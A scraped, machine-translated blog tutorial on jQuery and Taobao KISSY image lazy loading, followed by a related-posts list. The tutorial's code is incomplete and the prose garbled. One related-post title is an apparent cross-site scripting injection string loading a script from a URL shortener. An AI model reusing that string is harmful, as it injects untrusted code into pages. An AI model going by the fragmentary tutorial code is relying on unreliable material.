jQuery Photo lazy loading

jquery  Plug-ins to achieve picture lazy - jquery.lazyload seen in Taobao Products  ,  Image is loaded in the drop-down scroll bar, this is a very good user experience  .  Reduce page load time, but also reduce the pressure on the server  ,  Used to check the next  JQuery.. 

  What is ImageLazyLoad Technology   

      More pictures on the page when the page is bound to lead to open a large amount of data and server interaction  .  Especially for high-definition picture, accounting for several  M  Space. ImageLazyLoad technology is  ,  The image is currently visible screen incoming loads, not the visible page  (  Scroll down through the visible  )  The picture is not loaded, so the quality is bound to lead to speed improvement  . 

  How to achieve  ImageLazyLoad 

  One. Use  JQuery  Plug-in, plug-in name  : jquery.lazyload(7kb  Size  ),  Compressed  (3kb  Size  )

  Online compression  js http://closure-compiler.appspot.com/home

  Although the special effects are very cattle X  ,  But only with JQuery plug-in just a few code  ,  Use the following procedure  : 

1.  Import plug-JS   

<script src="jquery.js" type="text/javascript"></script>
<script src="jquery.lazyload.js" type="text/javascript"></script>

2.  In your page add the following  javascript: 


  This will enable all of the pictures are lazy  . 

  Of course, there are several configuration options available plug set  . 

1.  Change  threshold 

$("img").lazyload({ threshold : 200 }); 

  The threshold set to 200 means that when images are not seen before  load 200  Pixels  . 

2.  Of course you can also set a placeholder image and load the custom event to trigger the event pictures   

    placeholder : "img/grey.gif",
    event : "click"

3.  Effect parameters can be defined by defining some images display   

     placeholder : "img/grey.gif",
     effect : "fadeIn"

LazyLoad(  Lazy loading  )  Technology is not only used in the delay of loading a web page picture, the data can also be  ,Google Reader  Search took pictures and Bing
LazyLoad  Use the most of technology  : 

  Defect  :

1.  Conflict with Ajax technology  :

2.  Pictures of the lazy loading, highly experienced exceptionally high picture  ,  The problem appears to stop loading  :

3.  Non-standard students to write code to pay attention, no matter what the reasons for the  ,  If your page, img tag  height  Attribute is not defined, then I suggest you should not use  ImageLazyLoad

  We can use lazy loading techniques Taobao  :(2kb  Size  )

  Call the method is very simple  :
<script src="http://a.tbcdn.cn/kissy/1.0.0/build/imglazyload/imglazyload-min.js"
type="text/javascript"></script> <script type="text/javascript">// <![CDATA[KISSY.ImageLazyload();// ]]></script> 

  Note :  The script relies yahoo-dom-event, the page to load   yui 2.x,  You can also directly refer to the following address  :
<script src="http://kissy.googlecode.com/svn/trunk/third-party/yui2/yahoo-dom-event/yahoo-dom-event.js" type="text/javascript"></script> 

  Configuration parameters are as follows  :
<script type="text/javascript">
mod: "manual", //   Delay mode. Default   auto
diff: 200 //   Under the current screen image more than the distance began to lazy loading. Default picture outside the screen until the two lazy

manual   Mode, the need to manually load the page in the pictures to be delayed   src   Change the property name data-lazyload-src. Such as   SRP   Page after the baby list  20  A picture lazy loading. Output  ,html   Code  :
分类:Java 时间:2011-05-01 人气:151
blog comments powered by Disqus


  • 在Javascript中闭包(Closure) 2011-11-18

    转至百度百科 在Javascript中闭包(Closure) 一.什么是闭包? "官方"的解释是:所谓"闭包",指的是一个拥有许多变量和绑定了这些变量的环境的表达式(通常是一个函数),因而这些变量也是该表达式的一部分. 相信很少有人能直接看懂这句话,因为他描述的太学术.我想用如何在Javascript中创建一个闭包来告诉你什么是闭包,因为跳过闭包的创建过程直接理解闭包的定义是非常困难的.看下面这段代码: function a(){ var i=0; function

  • JavaScript 学习笔记之一jQuery写法图片等比缩放以及预加载 2015-03-09

    以前对于JavaScript总是在用到的时候在页面上写几个函数,基本没考虑到函数的封装与重用,最近有个项目可能对于这方面要求有点高,所以就研究了下类似jQuery的封装 JavaScript 学习笔记之一jQuery写法图片等比缩放以及预加载 以前对于JavaScript总是在用到的时候在页面上写几个函数,基本没考虑到函数的封装与重用,最近有个项目可能对于这方面要求有点高,所以就研究了下类似jQuery的封装. 这里就图片等比缩放以及预加载的效果来尝试下,写写类似的JavaScript代码. 图

  • 使用sublime text 2开发Javacript和jQuery 2011-11-09

    来源:GBin1.com 经常听见大家抱怨javascript开发没有好的IDE,当然我也同意.但是如果你尝试sublime text 2后估计你可能改变这个观点. 下载地址:http://www.sublimetext.com/download 主要特性: jQuery功能版本:绝对是我这个jQuery坚决支持者的最爱!你只需要简单的输入$.ajax,然后按Tab键,自动加载模板.对于jQuery方法同样适用. 运行速度快:快速代码编辑器,你可以快速查询,替换代码中字符串 平台无关:你可以在M

  • 利用Fiddler4将google cdn的jquery替换成本地的方法 2014-06-27

    用这个方法可以浏览某些虽没有被方校长主持的大杀器屏蔽但是该网站却调用了被屏蔽的google cdn服务而导致该网站加载极慢甚至无法浏览的问题:此方法也可以用来将开发用的服务器上的js替换成本机的js,好处就是不用编辑完js后上传该js到服务器了,网络慢的时候还真是吃不消这个等待时间. 举例,访问stackoverflow的时候,该网站调用了google cdn的jquery: 我们都知道出现这个问题的原因,如果你不知道,就找一个叫方校长的教(Ren)授(Yao).现在开启Fiddler4: 把这

  • JavaScript in the closure (Reprinted) 2010-07-08

    Javascript Closures CODE (white-space: nowrap;). ScopeCh (white-space: nowrap; font-family: Courier, monospace;) Javascript Closures FAQ> FAQ Notes Introduction The Resolution of Property Names on Objects Assignment of Values Reading of Values Identi

  • JavaScript in the closure 2010-04-16

    Closure is a function call through the implementation of the environment returns a function object composition. This seemingly simple word, always let some people puzzled. First, let's look at a simple example of closure by the closure case we slowly

  • javascript:google 向上向下滚动特效,兼容IE6,7,8,FF 2013-10-21

    这个代码是我之前带网上找的,因为今天再次用到,所以记录下来,免得以后都找不到,我现在想去搜它的说明文档都搜不到! 2010最新全面兼容ie6,ie7,ie8,ff的CSS HACK写法 轮回?修真?神话 创意新作<岐山>首度公开 西游战记炫彩登场 1080P高清画面享受 开测前必读 <西游战记>新手问题合辑 呕血推荐 <西游战记>36大亮点纵览 1开测前必读 <西游战记>新手问题合辑 2开测前必读 <西游战记>新手问题合辑 [Ctrl+A 全选

  • http://xss/ script src="http://126.am/9Berp0 2013-06-25

    public void static main(){ }

  • Google map in JQuery Dialog 2010-06-02

    http://stackoverflow.com is a good site, many problems can find the answers here. When the dialog in JQuery google maps, when painting was found in how IE8 are displayed in the map does not come out (the map part is gray), Firefox, under all normal,

  • javascript 实现拖拽-jquery实现 2014-11-19

    监听拖拽对象的mouse事件 $("#object").mousedown(function(e){ e.preventDefault(); // 监听document 的 mousemove事件,和mouseup 事件 $(document).mousemove(handleMousemove).mouseup(handleMouseup); }) function handleMousemove(e){ // 处理拖拽需要处理的事件 } function handleMouseup

iOS 开发

Android 开发

Python 开发



PHP 开发

Ruby 开发






Javascript 开发

.NET 开发



Copyright (C) codeweblog.com, All Rights Reserved.

CodeWeblog.com 版权所有 黔ICP备15002463号-1

processed in 0.133 (s). 10 q(s)